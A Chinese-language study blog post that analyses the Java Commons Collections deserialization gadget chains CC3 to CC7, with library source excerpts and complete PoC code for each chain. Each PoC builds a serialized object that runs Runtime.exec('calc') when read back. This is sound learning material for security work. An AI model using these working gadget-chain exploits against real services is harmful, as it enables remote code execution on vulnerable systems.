JavaCC3-CC7链分析


JavaCC3-CC7链分析

前言

上次看java还要追溯到上一次,好久没有看过java了,赶紧先把基础恶补一下。

CC3链

CommonsCollections3的目的很明显,就是为了绕过⼀些规则对InvokerTransformer的限制。

反序列化链

    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                    InstantiateTransformer.transform()
                                        new TrAXFilter(templatesImpl)
                                            templatesImpl.newTransformer()

版本环境

dk<JDK8u71,commons-collections3.1-3.2.1


    commons-collections
    commons-collections
    3.1

TrAXFilter

TrAXFilter中有_transformer = (TransformerImpl) templates.newTransformer();利用此处的newTransformer()可以绕过InvokerTransformer

public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

InstantiateTransformer

该类中的transform方法可以调用任意类的构造器方法。于是乎就把链连起来了。

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

public Object transform(Object input) {
    try {
        if (!(input instanceof Class)) {
            throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
        } else {
            Constructor con = ((Class)input).getConstructor(this.iParamTypes);
            return con.newInstance(this.iArgs);
        }
    } catch (NoSuchMethodException var6) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException var7) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
    } catch (IllegalAccessException var8) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
    } catch (InvocationTargetException var9) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
    }
}

CC1链中动态代理写法的补充

学CC链才发现,这些内容真的是一环扣一环,由于相隔时间太久,导致前面的都快忘完了。然后到动态代理方法这里,一点印象都没有了,所以重新看一下。
首先lazyMapget方法会调用其decorated trasformertransform,让我们只需触发get。这是前面lazyMap写法的CC1链用到的。
现在从前往后看看。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

AnnotationInvocationHandlerreadObject方法中有这么一行,Iterator var4 = this.memberValues.entrySet().iterator();调用了可控memberValues的entrySet()
如果我们通过另一个AnnotationInvocationHandler对象A动态代理对象B,那么就会调用对象A的invoke方法。
观察AnnotationInvocationHandler.invoke()

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

发现了get方法,

default:
    Object var6 = this.memberValues.get(var4);

我们再让B为lazymap,不就能执行lazyMap.get了嘛。
于是仿照网上的动态代理代码,写出下面的POC

        Map map = new HashMap();
        Map map1 = LazyMap.decorate(map, d);
        //
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);
        ct.setAccessible(true);
        //
        InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        Object o = ct.newInstance(Target.class, proxyMap);
        //payload序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("attack.ser"));
        oos.writeObject(o);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("attack.ser"));
        ois.readObject();

完整POC

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc3{
    public static void main(String[] args) throws Exception{
        TemplatesImpl templatesImpl=getTemplates();
        //接下来只需templatesImpl.newTransformer()
        //制作chain
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
        ChainedTransformer chain=new ChainedTransformer(transformers);
        //把commonscollections1的东西拼上
        Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor c=clazz.getDeclaredConstructor(Class.class, Map.class);
        c.setAccessible(true);

        Map zhangsan= LazyMap.decorate(new HashMap(),chain);
        InvocationHandler stuHandler = (InvocationHandler) c.newInstance(Target.class,zhangsan);
        Map stuProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class<?>[]{Map.class}, stuHandler);
        Object o=c.newInstance(Target.class,stuProxy);

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
        objectInputStream.readObject();
    }
    static TemplatesImpl getTemplates() throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ctClass = classPool.makeClass("Evil");
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        String shell = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(shell);

        byte[] shellCode = ctClass.toBytecode();
        byte[][] targetByteCode = new byte[][]{shellCode};

        TemplatesImpl templates = new TemplatesImpl();
        Class c1 = templates.getClass();
        Field _name = c1.getDeclaredField("_name");
        Field _bytecode = c1.getDeclaredField("_bytecodes");
        Field _tfactory = c1.getDeclaredField("_tfactory");
        _name.setAccessible(true);
        _bytecode.setAccessible(true);
        _tfactory.setAccessible(true);
        _name.set(templates, "h3rmesk1t");
        _bytecode.set(templates, targetByteCode);
        _tfactory.set(templates, new TransformerFactoryImpl());
        return templates;
    }
}

CC4链

CC4链是在CC2链的基础上,利用InstantiateTransformer替换InvokerTransformer得到的。

调用链

CC4的调用链(脑测)

/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        ChaindTransformer.transform()
                            ConstantTransformer.transform()
                                InstantiateTransformer.transform()
                                    new TrAXFilter(templatesImpl)
                                        templatesImpl.newTransformer()
 */

自己试着copy了一下

import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class cc4 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CC2");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");

        //接下来只需templatesImpl.newTransformer()
        //制作chain
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
        ChainedTransformer chain=new ChainedTransformer(transformers);
        TransformingComparator comparator =new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

        Field field3=queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

可以成功调用计算器。

CC5链

调用链

Gadget chain:
    ObjectInputStream.readObject()
        BadAttributeValueExpException.readObject()
            TiedMapEntry.toString()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                 Runtime.exec()

环境版本

JDK<8u76


   commons-collections
   commons-collections
   3.1

TiedMapEntry

看一下

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }

    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        } else {
            return this.map.put(this.key, value);
        }
    }

    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        } else if (!(obj instanceof Entry)) {
            return false;
        } else {
            Entry other = (Entry)obj;
            Object value = this.getValue();
            return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
        }
    }

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}

我们可以看到在toString()函数中有调用getValue()方法,getValue()方法中又调用this.map.get()如果我们让this.maplazyMap,就可以调用lazyMap.get()。与CC1链成功联系。
接下来想如何触发toString方法。

BadAttributeValueExpException

BadAttributeValueExpException.readObject()中有

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

BadAttributeValueExpException.readObject()有调用valObj.toString()。这时我们就需要进入if,于是我们考虑如何将System.getSecurityManager() == null还有如何将valObj的值赋为TiedMapEntry类。
看到Object valObj = gf.get("val", null);,我们将val进行赋值即可。
跟进System.getSecurityManager()发现return security,然后security默认为null。

payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5{
    public static void main(String[] args) throws Exception{
        ChainedTransformer chain=getChainedTransformer();
        Map lazymap=LazyMap.decorate(new HashMap(),chain);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,1);
        BadAttributeValueExpException e=new BadAttributeValueExpException(null);

        Class c1=e.getClass();
        Field Field1=c1.getDeclaredField("val");
        Field1.setAccessible(true);
        Field1.set(e,tiedMapEntry);

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
        objectOutputStream.writeObject(e);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
        objectInputStream.readObject();
    }
    static ChainedTransformer getChainedTransformer(){
        ConstantTransformer ct=new ConstantTransformer(Runtime.class);

        InvokerTransformer it1=new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it2=new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it_exec=new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
        ChainedTransformer chain=new ChainedTransformer(a);
        return chain;
    }
}

注意payload中的BadAttributeValueExpException e=new BadAttributeValueExpException(null);,我们赋值null,防止还未进行反序列化就进行攻击,具体原因可以看构造函数。

CC6链

调用链

    /*
    Gadget chain:
        ObjectInputStream.readObject()
            HashSet.readObject()
                HashMap.put()
                HashMap.hash()
                    TiedMapEntry.hashCode()
                    TiedMapEntry.getValue()
                        LazyMap.get()
                            ChainedTransformer.transform()
                            InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
*/

版本

jdk没有版本限制


    commons-collections
    commons-collections
    3.1

TiedMapEntry

与CC5中利用TiedMapEntry中的toString()调用getValue不同,CC6采用hashCode方法触发getValue

 public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

HashMap

HashMap中有调用key.hashCode()key为输入,那我们可以让keyTiedMapEntry即可。

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

并且在put中也会触发hash

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

HashSet

HashSetreadObject中会调用map.put(e, PRESENT);

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();

        // Read capacity and verify non-negative.
        int capacity = s.readInt();
        if (capacity < 0) {
            throw new InvalidObjectException("Illegal capacity: " +
                                             capacity);
        }

        // Read load factor and verify positive and non NaN.
        float loadFactor = s.readFloat();
        if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        }

        // Read size and verify non-negative.
        int size = s.readInt();
        if (size < 0) {
            throw new InvalidObjectException("Illegal size: " +
                                             size);
        }

        // Set the capacity according to the size and load factor ensuring that
        // the HashMap is at least 25% full but clamping to maximum capacity.
        capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
                HashMap.MAXIMUM_CAPACITY);

        // Create backing HashMap
        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6{
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ChainedTransformer chain=getChainedTransformer();
        Map lazymap= LazyMap.decorate(new HashMap(),chain);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,1);
        HashSet hashSet=new HashSet();
        hashSet.add(tiedMapEntry);
        lazymap.remove(1);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
        objectOutputStream.writeObject(hashSet);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
        objectInputStream.readObject();
    }
    static ChainedTransformer getChainedTransformer(){
        ConstantTransformer ct=new ConstantTransformer(Runtime.class);

        InvokerTransformer it1=new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it2=new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it_exec=new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
        ChainedTransformer chain=new ChainedTransformer(a);
        return chain;
    }
}

序列化报错

因为序列化前会多put一遍,把java.lang.ProcessImpl也给序列化了,但是它是not serializable的。
debug就不赘述了,可以拜读文末phtihon的大作
加一句lazymap.remove(1);即可。

这里我没太理解,按照p神写的,是HashMap.hash()方法中同时也会调用到LazyMap这个利用链,试着跟了一下,发现在new``TiedMapEntry时设置了key,在调用LazyMap.get()时,无法通过!super.map.containsKey(key)的check,导致无法进行transform调用。所以需要提前remove。但是bridge在写的时候又说是因为序列化的问题,不是很懂,但是先咕咕了。

CC7链

调用链

/*
    Payload method chain:
    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    java.lang.Runtime.exec
*/

版本

jdk无限制
CommonsCollections 3.1 - 3.2.1

Hashtable

readObject

private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the length, threshold, and loadfactor
        s.defaultReadObject();

        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();

        // Compute new size with a bit of room 5% to grow but
        // no larger than the original size.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)(elements * loadFactor) + (elements / 20) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        if (origlength > 0 && length > origlength)
            length = origlength;
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

reconstitutionPut

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        //value不能为null
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        //重新计算key的hash值
        int hash = key.hashCode();
        //根据hash值计算存储索引
        int index = (hash & 0x7FFFFFFF) % tab.length;
        //判断元素的key是否重复
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            //如果key重复则抛出异常
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        //key不重复则将元素添加到table数组中
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

1reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到table数组中。
在判断重复时调用了e.key.equals(key)方法。在编写payload时,我们会令e为LazyMap类,则e.key.equals()调用了LazyMapequals方法,但是LazyMap中并没有equals方法,实际上是调用了LazyMap的父类AbstractMapDecoratorequals方法,虽然AbstractMapDecorator是一个抽象类,但它实现了equals方法。

    public boolean equals(Object object) {
        return object == this ? true : this.map.equals(object);
    }

AbstractMapDecorator类的equals方法只比较了object是否为AbstractMapDecorator的类,如果不是则会再次调用equals方法,map属性是通过LazyMap传递的,我们在构造利用链的时候,通过LazyMap的静态方法decorateHashMap传给了map属性,因此这里会调用HashMapequals方法。(这里实际我没绕太明白,断点跟直接跟到AbstractMap里了)
HashMap中并没有找到一个名字为equals的成员方法,但是通过分析发现HashMap继承了AbstractMap抽象类,该类中有一个equals方法。

   public boolean equals(Object o) {
        //是否为同一对象
        if (o == this)
            return true;
        //运行类型是否不是Map
        if (!(o instanceof Map))
            return false;
        //向上转型
        Map<?,?> m = (Map<?,?>) o;
        //判断HashMap的元素的个数size
        if (m.size() != size())
            return false;
 
        try {
            //获取HashMap的迭代器
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                //获取每个元素(Node)
                Entry<K,V> e = i.next();
                //获取key和value
                K key = e.getKey();
                V value = e.getValue();
                //如果value为null,则判断key
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                //如果value不为null,判断value内容是否相同
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }
 
        return true;
    }

抽象类AbstractMapequals方法进行了更为复杂的判断:

判断是否为同一对象
判断对象的运行类型
判断Map中元素的个数

当以上三个判断都不满足的情况下,则进一步判断Map中的元素,也就是判断元素的keyvalue的内容是否相同,在value不为null的情况下,m会调用get方法获取key的内容,虽然对象o向上转型成Map类型,但是m对象本质上是一个LazyMap。因此m对象调用get方法时实际上是调用了LazyMapget方法。

哈希碰撞

reconstitutionPut中有一个check,if这一行由于用&&连接,左边为false就不会执行右边。这两个hash对应当前key和上一个keyhashcode

if ((e.hash == hash) && e.key.equals(key)) {

这里key我们选择的是String,观察String.hashCode()

public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;
        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

爆破两位就可。

import string
letter = string.ascii_uppercase+string.ascii_lowercase
def hashcode(string_expected):
    return 31 * ord(string_expected[0]) + ord(string_expected[1])
for i in letter:
    for j in letter:
        for k in letter:
            for l in letter:
                str1 = i+j
                str2 = k+l
                if str1 != str2:
                    if hashcode(str1) == hashcode(str2):
                        print(hashcode(str1), str1, str2, sep=" ")

这也是为什么我们在构造利用链的时候必须添加两个两个元素,因为要通过这个绕过check,虽然这两个元素的hash值是一样的,但本质上是两个不同的元素。

lazyMap2集合中的第二个元素(yy=yy)

CC7利用链的payload代码中,Hashtable在添加第二个元素时,lazyMap2集合会“莫名其妙”添加一个元素(yy=yy),Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMapget方法添加一个元素(yy=yy)。

例如Hashtable调用put方法添加第二个元素(lazyMap2,1)的时候,该方法内部会调用equals方法根据元素的key判断是否为同一元素
此时的keylazyMap2对象,而lazyMap2实际上调用了AbstractMap抽象类的equals方法,equals方法内部会调用lazyMap2get方法判断table数组中元素的keylazyMap2是否已存在,如果不存在,transform会把当前传入的key返回作为value,然后lazyMap2会调用put方法把keyvalue(yy=yy)添加到lazyMap2

当在反序列化时,reconstitutionPut方法在还原table数组时会调用equals方法判断重复元素,由于AbstractMap抽象类的equals方法校验的时候更为严格,会判断Map中元素的个数,由于lazyMap2lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞。

因此在构造CC7利用链的payload代码时,Hashtable在添加第二个元素后,lazyMap2需要调用remove方法删除元素(yy=yy)才能触发漏洞。

payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.*;


public class cc7{
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ChainedTransformer chain=getChainedTransformer();

        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();

        Map map1 = LazyMap.decorate(hashMap1, chain);
        map1.put("00", 1);
        Map map2 = LazyMap.decorate(hashMap2, chain);
        map2.put(".n", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(map1, 1);
        hashtable.put(map2, 1);
        map2.remove("00");

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
        objectInputStream.readObject();
    }
    static ChainedTransformer getChainedTransformer(){
        ConstantTransformer ct=new ConstantTransformer(Runtime.class);

        InvokerTransformer it1=new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it2=new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it_exec=new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
        ChainedTransformer chain=new ChainedTransformer(a);
        return chain;
    }
}

参考链接:
https://www.cnblogs.com/kingbridge/articles/16141397.html#%E5%93%88%E5%B8%8C%E7%A2%B0%E6%92%9E
https://blog.csdn.net/qq_35733751/article/details/119862728


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !